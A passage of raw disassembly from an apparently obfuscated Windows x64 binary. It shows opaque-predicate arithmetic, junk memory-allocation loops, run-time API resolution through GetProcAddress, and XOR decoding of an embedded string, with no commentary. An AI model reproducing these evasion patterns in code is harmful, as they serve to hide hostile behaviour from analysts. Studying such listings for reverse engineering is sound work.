movsd xmm1, qword [rsp + 0x2e0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x584], eax
jmp 0x14002718a
xor eax, eax
cmp eax, 1
je 0x1400270ce
jmp 0x1400270dd
jmp 0x140026e99
jmp 0x140026e99
xor eax, eax
cmp eax, 1
je 0x14002717f
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xce8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xce8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xcec], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xcec]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xcf0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2e0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x584], eax
jmp 0x14002718a
mov dword [rsp + 0x584], 1
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x210]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x588]
movsxd rcx, dword [rsp + 0x64]
mov rdx, qword [rsp + 0x210]
mov edi, dword [rsp + 0x584]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x64]
mov rdx, qword [rsp + 0x210]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xcf4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xcf4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf8], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xcf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfc], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xcfc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140027588
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108380]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2e8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xd00], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xd00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd08], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xd04], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xd04]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xd08]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400274b2
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xd0c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xd0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd10], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xd10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd14], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xd14]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400274b2
mov dword [rsp + 0xb8], 0
jmp 0x140027374
cmp dword [rsp + 0xb8], 4
jae 0x1400274ad
cvtsi2sd xmm0, dword [rsp + 0xb8]
movsd xmm1, qword [rsp + 0x2e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1840], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1840]
ucomisd xmm1, xmm0
jp 0x1400273ef
jne 0x1400273ef
mov eax, dword [rsp + 0xb8]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2e8], xmm0
jmp 0x14002726e
cvtsi2sd xmm0, dword [rsp + 0xb8]
movsd xmm1, qword [rsp + 0x2e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1848], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1848]
ucomisd xmm1, xmm0
jp 0x140027457
jne 0x140027457
mov eax, dword [rsp + 0xb8]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2e8], xmm0
jmp 0x14002746d
xor eax, eax
test eax, eax
je 0x140027469
jmp 0x140027554
jmp 0x140027496
cvtsi2sd xmm0, dword [rsp + 0xb8]
movsd xmm1, qword [rsp + 0x2e8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x580], eax
jmp 0x14002755f
xor eax, eax
cmp eax, 1
je 0x1400274a3
jmp 0x1400274b2
jmp 0x14002726e
jmp 0x14002726e
xor eax, eax
cmp eax, 1
je 0x140027554
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xd18], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xd18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd20], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xd1c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xd1c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xd20]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2e8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x580], eax
jmp 0x14002755f
mov dword [rsp + 0x580], 1
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x210]
mov edx, dword [rsp + 0x580]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x64]
mov rdx, qword [rsp + 0x210]
mov dword [rdx + rcx*4], eax
jmp 0x140025f7d
mov rax, qword [rsp + 0x720]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x720]
mov eax, dword [rcx + rax]
mov dword [rsp + 0xd24], eax
lea rax, [rsp + 0x1b68]
mov ecx, dword [rsp + 0xd24]
mov qword [rsp + 0x1850], rcx
lea rdx, [0x140132e90]
mov rcx, rax
mov rax, qword [rsp + 0x1850]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1558], rax
cmp qword [rsp + 0x1558], 0
jne 0x14002760b
xor al, al
jmp 0x14002fed5
xor edx, edx
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x1558]
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x6b8], 0x56b5
mov dword [rsp + 0xd28], 0x441a
mov dword [rsp + 0xd2c], 0x4acc
mov eax, dword [rsp + 0xd28]
mov dword [rsp + 0x6b8], eax
cmp dword [rsp + 0x6b8], 0
je 0x14002766e
mov dword [rsp + 0xd2c], 0x3545
mov dword [rsp + 0x284], 0
jmp 0x14002768b
mov eax, dword [rsp + 0x284]
inc eax
mov dword [rsp + 0x284], eax
cmp dword [rsp + 0x284], 0x11
jge 0x1400276a9
movsxd rax, dword [rsp + 0x284]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1b68], cx
jmp 0x14002767b
mov rcx, qword [rsp + 0x24d0]
call fcn.14001dc78
mov dword [rsp + 0x570], 1
jmp 0x1400276d3
mov eax, dword [rsp + 0x570]
inc eax
mov dword [rsp + 0x570], eax
cmp dword [rsp + 0x570], 0x2da0
jae 0x140027777
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x1858], rax
mov rax, qword [rsp + 0x1858]
mov qword [rsp + 0x1560], rax
mov dword [rsp + 0x24c], 0
jmp 0x140027723
mov eax, dword [rsp + 0x24c]
inc eax
mov dword [rsp + 0x24c], eax
cmp dword [rsp + 0x24c], 0x3302
jae 0x140027755
cmp dword [rsp + 0x24c], 0x43
jne 0x14002773c
jmp 0x140027755
movsxd rax, dword [rsp + 0x24c]
mov rcx, qword [rsp + 0x1560]
mov dword [rcx + rax*4], 0x1c5e
jmp 0x140027713
mov rax, qword [rsp + 0x1560]
mov qword [rsp + 0x1860], rax
mov rcx, qword [rsp + 0x1860]
call fcn.14006e228
jmp 0x1400276c3
lea rax, [rsp + 0x4b5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1bb8]
lea rcx, str.aEQM_kNR_Z32
mov rdi, rax
mov rsi, rcx
mov ecx, 0x26
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x34]
mov rcx, qword [rsp + 0x260]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0xf9c], eax
lea rax, [rsp + 0x1a7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x6bc], 0x93a9
mov dword [rsp + 0xd30], 0x2f2d
mov dword [rsp + 0xd34], 0x5bc8
mov eax, dword [rsp + 0xd30]
mov dword [rsp + 0x6bc], eax
cmp dword [rsp + 0x6bc], 0
je 0x14002781f
mov dword [rsp + 0xd34], 0x63ad
mov dword [rsp + 0x6c0], 0x43cc
mov dword [rsp + 0xd38], 0x3b4c
mov dword [rsp + 0xd3c], 0x45d2
mov eax, dword [rsp + 0xd38]
mov dword [rsp + 0x6c0], eax
cmp dword [rsp + 0x6c0], 0
je 0x140027863
mov dword [rsp + 0xd3c], 0x4e60
mov eax, 2
imul rax, rax, 0x12
movzx eax, word [rsp + rax + 0x1bb8]
test eax, eax
je 0x140027885
mov dword [rsp + 0x6c4], 1
jmp 0x140027890
mov dword [rsp + 0x6c4], 0
movzx eax, byte [rsp + 0x6c4]
test eax, eax
je 0x140027953
mov dword [rsp + 0x6c8], 0x65d6
mov dword [rsp + 0xd40], 0x88c8
mov dword [rsp + 0xd44], 0x6e8c
mov eax, dword [rsp + 0xd40]
mov dword [rsp + 0x6c8], eax
cmp dword [rsp + 0x6c8], 0
je 0x1400278e4
mov dword [rsp + 0xd44], 0x9ca6
mov dword [rsp + 0x1b0], 0
jmp 0x140027901
mov eax, dword [rsp + 0x1b0]
inc eax
mov dword [rsp + 0x1b0], eax
cmp dword [rsp + 0x1b0], 0x13
jge 0x140027953
movsxd rax, dword [rsp + 0x1b0]
movzx eax, word [rsp + rax*2 + 0x1bb8]
mov dword [rsp + 0xd48], eax
mov eax, dword [rsp + 0x1b0]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0xd48]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1b0]
mov word [rsp + rcx*2 + 0x1bb8], ax
jmp 0x1400278f1
lea rcx, [rsp + 0x1a7]
call fcn.140030548
mov qword [rsp + 0x728], rax
mov rax, qword [rsp + 0x728]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x140028fa6
mov rax, qword [rsp + 0x728]
mov qword [rsp + 0x218], rax
mov dword [rsp + 0x6c], 0
jmp 0x1400279a0
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
movsxd rax, dword [rsp + 0x6c]
cmp rax, 1
jae 0x140028fa6
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xd4c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xd4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd50], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xd50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd54], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xd54]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140027d68
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108380]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2f0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xd58], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xd58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd60], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xd5c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xd5c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xd60]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140027c92
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xd64], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xd64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd68], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xd68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xd6c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140027c92
mov dword [rsp + 0xb4], 0
jmp 0x140027b54
cmp dword [rsp + 0xb4], 4
jae 0x140027c8d
cvtsi2sd xmm0, dword [rsp + 0xb4]
movsd xmm1, qword [rsp + 0x2f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1868], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1868]
ucomisd xmm1, xmm0
jp 0x140027bcf
jne 0x140027bcf
mov eax, dword [rsp + 0xb4]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2f0], xmm0
jmp 0x140027a4e
cvtsi2sd xmm0, dword [rsp + 0xb4]
movsd xmm1, qword [rsp + 0x2f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1870], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1870]
ucomisd xmm1, xmm0
jp 0x140027c37
jne 0x140027c37
mov eax, dword [rsp + 0xb4]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2f0], xmm0
jmp 0x140027c4d
xor eax, eax
test eax, eax
je 0x140027c49
jmp 0x140027d34
jmp 0x140027c76
cvtsi2sd xmm0, dword [rsp + 0xb4]
movsd xmm1, qword [rsp + 0x2f0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5b8], eax
jmp 0x140027d3f
xor eax, eax
cmp eax, 1
je 0x140027c83
jmp 0x140027c92
jmp 0x140027a4e
jmp 0x140027a4e
xor eax, eax
cmp eax, 1
je 0x140027d34
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xd70], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xd70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd78], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xd74], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xd74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xd78]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2f0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5b8], eax
jmp 0x140027d3f
mov dword [rsp + 0x5b8], 1
movsxd rax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x218]
mov edx, dword [rsp + 0x5b8]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x218]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xd7c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xd7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd84], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0xd80], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xd80]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xd84]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140028be7
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xd88], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xd88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xd8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd90], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xd90]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002819d
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108378]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2f8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xd94], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xd94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xd98], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xd98]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xd9c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400280c7
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xda0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xda0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xda4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xda4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xda8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xda8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400280c7
mov dword [rsp + 0xb0], 0
jmp 0x140027f89
cmp dword [rsp + 0xb0], 4
jae 0x1400280c2
cvtsi2sd xmm0, dword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x2f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1878], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1878]
ucomisd xmm1, xmm0
jp 0x140028004
jne 0x140028004
mov eax, dword [rsp + 0xb0]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2f8], xmm0
jmp 0x140027e83
cvtsi2sd xmm0, dword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x2f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1880], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1880]
ucomisd xmm1, xmm0
jp 0x14002806c
jne 0x14002806c
mov eax, dword [rsp + 0xb0]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2f8], xmm0
jmp 0x140028082
xor eax, eax
test eax, eax
je 0x14002807e
jmp 0x140028169
jmp 0x1400280ab
cvtsi2sd xmm0, dword [rsp + 0xb0]
movsd xmm1, qword [rsp + 0x2f8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5bc], eax
jmp 0x140028174
xor eax, eax
cmp eax, 1
je 0x1400280b8
jmp 0x1400280c7
jmp 0x140027e83
jmp 0x140027e83
xor eax, eax
cmp eax, 1
je 0x140028169
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xdac], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xdac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xdb0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xdb0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xdb4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2f8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5bc], eax
jmp 0x140028174
mov dword [rsp + 0x5bc], 1
movsxd rax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x218]
mov edx, dword [rsp + 0x5bc]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x218]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xdb8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xdb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdbc], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xdbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xdc0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140028557
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108370]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x300], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xdc4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xdc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdcc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xdc8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xdc8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xdcc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140028481
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xdd0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xdd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xdd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xdd8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140028481
mov dword [rsp + 0xac], 0
jmp 0x140028343
cmp dword [rsp + 0xac], 4
jae 0x14002847c
cvtsi2sd xmm0, dword [rsp + 0xac]
movsd xmm1, qword [rsp + 0x300]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1888], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1888]
ucomisd xmm1, xmm0
jp 0x1400283be
jne 0x1400283be
mov eax, dword [rsp + 0xac]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x300]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x300], xmm0
jmp 0x14002823d
cvtsi2sd xmm0, dword [rsp + 0xac]
movsd xmm1, qword [rsp + 0x300]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1890], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1890]
ucomisd xmm1, xmm0
jp 0x140028426
jne 0x140028426
mov eax, dword [rsp + 0xac]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x300]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x300], xmm0
jmp 0x14002843c
xor eax, eax
test eax, eax
je 0x140028438
jmp 0x140028523
jmp 0x140028465
cvtsi2sd xmm0, dword [rsp + 0xac]
movsd xmm1, qword [rsp + 0x300]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c0], eax
jmp 0x14002852e
xor eax, eax
cmp eax, 1
je 0x140028472
jmp 0x140028481
jmp 0x14002823d
jmp 0x14002823d
xor eax, eax
cmp eax, 1
je 0x140028523
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xddc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xddc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xde4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xde0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xde0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xde4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x300]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c0], eax
jmp 0x14002852e
mov dword [rsp + 0x5c0], 1
movsxd rax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x218]
mov edx, dword [rsp + 0x5c0]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x218]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x6c]
sub eax, 0x72
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x308], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xde8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xde8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdf0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xdec], eax
